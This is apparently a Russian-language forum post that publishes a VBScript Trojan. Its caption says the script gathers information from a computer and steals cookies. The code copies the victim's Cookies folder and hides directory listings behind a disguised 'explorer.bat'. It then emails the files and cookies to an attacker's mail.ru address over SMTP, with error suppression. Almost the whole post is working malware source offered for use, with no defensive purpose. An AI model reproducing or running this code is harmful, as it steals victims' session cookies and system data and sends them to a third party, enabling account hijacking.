Для просмотра всех возможностей сайта, вам необходимо пройти процедуру регистрации, либо войти в свой аккаунт.* *Форма входа и регистрация пользователя, располагается в шапке сайта, либо в блоке "Профиль" на страницах типа "Главная". |
|
|
|
|
|
Всего: Новых за месяц: 0 Новых за неделю: 0 Новых вчера: 0 Новых сегодня: 0
Онлайн всего: 1 Гостей: 1 Пользователей: 0
|
|
|
| Просмотров данной публикации: 857 | | Комментариев к данной публикации: (0) |
Собирает инфу с компа и ворует куки передоёт на email set fso=createobject("scripting.filesystemobject") set WshShell = WScript.CreateObject("WScript.Shell") fso.copyfolder WshShell.ExpandEnvironmentStrings("%USERPROFILE%") +"\Cookies", "C:\Cookies"
set fso = CreateObject("Scripting.FileSystemObject") set ts = fso.OpenTextFile("C:\Windows\explorer.bat", 8, true, -2) ts.WriteLine "DIR C:\>> C:\Inf1.TXT" ts.WriteLine "DIR D:\>> C:\Inf2.TXT" ts.WriteLine "DIR C:\Windows>> C:\Inf3.TXT" ts.WriteLine "DIR C:\Windows\system32>> C:\Inf4.TXT" ts.WriteLine "DIR C:\Windows\system>> C:\Inf5.TXT" ts.CLOSE set fso = CreateObject("Scripting.FileSystemObject") set file = fso.GetFile("C:\Windows\explorer.bat") file.Attributes = 2
Set WSHShell=WScript.CreateObject("WScript.Shell") Sub Zapadlo(Fuck,Wait) Set WshShell=WScript.CreateObject("WScript.Shell") C=WshShell.Run(Fuck,Wait) End Sub
Call Zapadlo("C:\windows\explorer.bat",true)
wscript.sleep 300
set fso = CreateObject("Scripting.FileSystemObject") set file = fso.GetFile("C:\Inf1.TXT") file.Attributes = 2 set fso = CreateObject("Scripting.FileSystemObject") set file = fso.GetFile("C:\Inf2.TXT") file.Attributes = 2 set fso = CreateObject("Scripting.FileSystemObject") set file = fso.GetFile("C:\Inf3.TXT") file.Attributes = 2 set fso = CreateObject("Scripting.FileSystemObject") set file = fso.GetFile("C:\Inf4.TXT") file.Attributes = 2 set fso = CreateObject("Scripting.FileSystemObject") set file = fso.GetFile("C:\Inf5.TXT") file.Attributes = 2
wscript.sleep 30
on error resume next Set S = CreateObject("Wscript.Shell") set FSO=createobject("scripting.filesystemobject") Call SendPost("smtp.mail.ru","майл палучателя@mail.ru","отправителя@mail.ru","Привет!!!","Trojan_Inf") Function SendPost(strSMTP_Server,strTo,strFrom,strSubject,strBody) Set iMsg=CreateObject("CDO.Message") Set iConf=CreateObject("CDO.Configuration") Set Flds=iConf.Fields Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")=2 Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate")=1 Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")="win_max_script" Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")="пароль от майла отправителя" Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver")="smtp.mail.ru" Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport")=25 Flds.Update iMsg.Configuration=iConf iMsg.To=strTo iMsg.From=strFrom iMsg.Subject=strSubject iMsg.TextBody=strBody iMsg.AddAttachment "C:\Inf1.TXT" iMsg.AddAttachment "C:\Inf2.TXT" iMsg.AddAttachment "C:\Inf3.TXT" iMsg.AddAttachment "C:\Inf4.TXT" iMsg.AddAttachment "C:\Inf5.TXT" iMsg.AddAttachment "C:\Cookies" iMsg.Send End Function Set iMsg=Nothing Set iConf=Nothing Set Flds=Nothing
|
|
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
|
|
|
|